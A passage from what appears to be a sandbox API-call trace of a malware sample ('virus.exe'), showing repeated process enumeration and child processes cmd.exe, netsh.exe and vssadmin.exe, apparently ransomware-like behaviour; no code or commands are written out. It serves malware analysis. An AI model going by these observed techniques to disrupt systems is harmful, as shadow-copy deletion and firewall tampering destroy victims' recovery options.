th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0202.195] Process32NextW (in: hSnapshot=0x1bc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0202.196] Process32NextW (in: hSnapshot=0x1bc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0202.196] Process32NextW (in: hSnapshot=0x1bc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0202.196] Process32NextW (in: hSnapshot=0x1bc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0202.197] Process32NextW (in: hSnapshot=0x1bc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0202.197] Process32NextW (in: hSnapshot=0x1bc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0202.197] Process32NextW (in: hSnapshot=0x1bc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0202.198] Process32NextW (in: hSnapshot=0x1bc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0202.198] Process32NextW (in: hSnapshot=0x1bc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x58c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0202.198] Process32NextW (in: hSnapshot=0x1bc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0202.199] Process32NextW (in: hSnapshot=0x1bc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0202.199] Process32NextW (in: hSnapshot=0x1bc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0202.199] Process32NextW (in: hSnapshot=0x1bc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x6a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0202.200] Process32NextW (in: hSnapshot=0x1bc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0202.200] Process32NextW (in: hSnapshot=0x1bc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0202.201] Process32NextW (in: hSnapshot=0x1bc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0202.202] Process32NextW (in: hSnapshot=0x1bc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0202.202] Process32NextW (in: hSnapshot=0x1bc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x310, pcPriClassBase=8, dwFlags=0x0, szExeFile="netsh.exe")) returned 1 [0202.203] Process32NextW (in: hSnapshot=0x1bc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x5fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0202.203] Process32NextW (in: hSnapshot=0x1bc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0202.204] Process32NextW (in: hSnapshot=0x1bc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 0 [0202.204] CloseHandle (hObject=0x1bc) returned 1 [0202.204] Sleep (dwMilliseconds=0x1f4) [0202.788] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x178 [0202.792] Process32FirstW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0202.793] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0202.793] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0202.794] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0202.795] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0202.795] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0202.795] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0202.796] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0202.796] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0202.797] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0202.797] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0202.798] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0202.798] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0202.799] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0202.799] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0202.800] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0202.800] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0202.800] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0202.801] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0202.801] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0202.802] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0202.802] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0202.803] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0202.803] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0202.803] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x58c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0202.804] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0202.804] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0202.805] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0202.805] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x6a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0202.806] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0202.806] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0202.807] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0202.807] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0202.807] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x310, pcPriClassBase=8, dwFlags=0x0, szExeFile="netsh.exe")) returned 1 [0202.808] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x5fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0202.808] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0202.809] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 0 [0202.810] CloseHandle (hObject=0x178) returned 1 [0202.810] Sleep (dwMilliseconds=0x1f4) [0203.518] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1cc [0203.520] Process32FirstW (in: hSnapshot=0x1cc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0203.520] Process32NextW (in: hSnapshot=0x1cc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0203.521] Process32NextW (in: hSnapshot=0x1cc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0203.521] Process32NextW (in: hSnapshot=0x1cc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0203.521] Process32NextW (in: hSnapshot=0x1cc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0203.522] Process32NextW (in: hSnapshot=0x1cc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0203.522] Process32NextW (in: hSnapshot=0x1cc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0203.522] Process32NextW (in: hSnapshot=0x1cc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0203.523] Process32NextW (in: hSnapshot=0x1cc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0203.523] Process32NextW (in: hSnapshot=0x1cc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0203.523] Process32NextW (in: hSnapshot=0x1cc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0203.524] Process32NextW (in: hSnapshot=0x1cc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0203.524] Process32NextW (in: hSnapshot=0x1cc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0203.524] Process32NextW (in: hSnapshot=0x1cc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0203.525] Process32NextW (in: hSnapshot=0x1cc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0203.525] Process32NextW (in: hSnapshot=0x1cc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0203.526] Process32NextW (in: hSnapshot=0x1cc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0203.526] Process32NextW (in: hSnapshot=0x1cc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0203.526] Process32NextW (in: hSnapshot=0x1cc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0203.527] Process32NextW (in: hSnapshot=0x1cc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0203.527] Process32NextW (in: hSnapshot=0x1cc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0203.527] Process32NextW (in: hSnapshot=0x1cc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0203.528] Process32NextW (in: hSnapshot=0x1cc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0203.528] Process32NextW (in: hSnapshot=0x1cc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, 